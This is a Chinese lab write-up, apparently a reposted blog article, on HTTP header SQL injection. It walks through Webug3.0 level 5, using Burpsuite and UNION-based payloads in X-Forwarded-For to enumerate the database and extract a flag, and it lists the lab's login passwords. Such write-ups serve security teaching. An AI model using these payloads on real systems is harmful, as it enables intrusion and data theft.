HTTP头部注入(下)

admin 2026-05-24 05:18:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了HTTP头部注入攻击的实验过程,以Webug3.0第五关为例演示了通过X-Forwarded-For头部实施SQL报错注入的全流程。关键步骤包括利用Burpsuite抓包定位注入点、判断查询字段数为4、确定回显位置2/3/4、获取数据库名pentesterlab、提取flag表数据并最终获得flag值204f704fbbcf6acf398ffee11989b377。实验证实了对HTTP头部参数缺乏过滤会导致严重安全风险,并提供了完整的手工注入方法论。 综合评分: 78 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,安全工具


cover_image

HTTP头部注入(下)

原创

建哥聊安全 建哥聊安全

建哥聊安全

2026年5月23日 10:01 湖南

在小说阅读器读本章

去阅读

免责声明:严格禁止对任何未授权系统/网络进行扫描、攻击或入侵。 禁止制作/传播恶意程序,禁止参与任何网络犯罪。如擅自将本文实验技术用于非法用途,一切法律后果及责任由行为人独立承担,与作者无关。

SQL注入-HTTP头部注入2

实验目的

理解HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理、方法及基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统账号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统账号root,密码Sangfor!7890

实验原理

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。 常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。

实验步骤

本实验的目标是:以Webug3.0网站的第五关为入口,利用报错注入的方式实施SQL注入,获取网站后台数据库中存放的flag。

1.访问Webug网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的Webug网站。访问的URL为:

http://[靶机IP]/webug/

(注意大小写)

2.利用Burpsuite工具抓包

(1)启动Burpsuite

在攻击机Pentest-Atk的桌面文件夹Burp中,鼠标左键双击BURP.cmd程序,启动Burpsuite。

(2)设置Burpsuite的代理服务端口

在Burpsuite软件界面上选择选项卡“Proxy”->“Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端口)。

(3)开启Burpsuite的代理拦截功能

在Burpsuite软件界面上选择选项卡“Proxy”->“Intercept”,将拦截开关按钮的状态设置为“Intercept is on”。

注意:上述设置完成之后,不要关闭Burpsuite!

(4)设置Firefox代理

回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择“为全部URLs启用代理服务器127.0.0.1:8080”:

代理设置成功后,FoxyProxy插件图标会变成蓝色。

(5)利用Burpsuite工具拦截HTTP请求包

在Webug网站主页选择第五关(“头部的一个注入”):

此时Burpsuite会拦截到HTTP请求包:

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块

选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

后续的步骤中,可以在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应。

3.寻找注入点

(1)对拦截到的HTTP请求包不做任何修改,直接点击Send发送,此时Response->Pretty下显示的内容:

Response->Render下显示的内容:

(2)在原始的HTTP请求包中添加头部字段X-Forwarded-For,并使用如下payload:

X-Forwarded-For:a’

此时,服务器端报错!

由此可以判断,目标网站在头部字段XFF处存在注入点。

4.判断网站查询的字段数

使用如下payload判断网站查询的字段数:

X-Forwarded-For:order by 2

未报错!

X-Forwarded-For:order by 3

未报错!

X-Forwarded-For:order by 4

未报错!

X-Forwarded-For:order by 5

报错!

由上述结果可以判断,网站查询的字段数为4。

5.判断网站的回显位置

使用如下payload判断网站的回显位置:

X-Forwarded-For:union select 1,2,3,4

由上述结果可以判断,网站有三个回显位置:2号位、3号位和4号位。

6.获取网站当前所在的数据库的库名

使用如下payload获取网站当前所在的数据库的库名:

X-Forwarded-For:union select 1,database(),3,4

由上述结果可以得知,网站当前所在的数据库的库名为pentesterlab。

7.获取pentesterlab数据库中所有的表名

使用如下payload获取pentesterlab数据库中所有的表名:

X-Forwarded-For:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’pentesterlab’

由上述结果可以得知,pentesterlab数据库中含有comment、flag、goods和user四张表。其中,flag表中可能存放着flag信息。

8.获取flag表中的字段名

使用如下payload获取flag表中的字段名:

X-Forwarded-For:union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=’pentesterlab’ and table_name=’flag’

由上述结果可以得知,flag表中有两个字段id、flag。

9.获取flag表中的flag字段的内容

使用如下payload获取flag表中的flag字段的内容:

X-Forwarded-For:union select 1,flag,3,4 from pentesterlab.flag

 由上述结果可以得知,该flag字段的内容为204f704fbbcf6acf398ffee11989b377。 实验至此结束。

实验总结

本次实验,成功实现了对存在HTTP头部(X-Forwarded-For)注入点的网站的手工SQL注入,掌握了HTTP头部注入的原理、方法和流程。

更多学习资料点击头像关注公众号,后台私信回复666即可领取视频学习资料,赶紧来领取吧!!!

往期精选:

你会盲注么?

SQL注入的方法0x004

SQL注入的方法0x003

SQL注入的方法0x002

SQL注入的方法0x001

万丈高楼平地起,SQL数据库得学习。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:建哥聊安全 建哥聊安全 建哥聊安全《HTTP头部注入(下)》

评论:0   参与:  0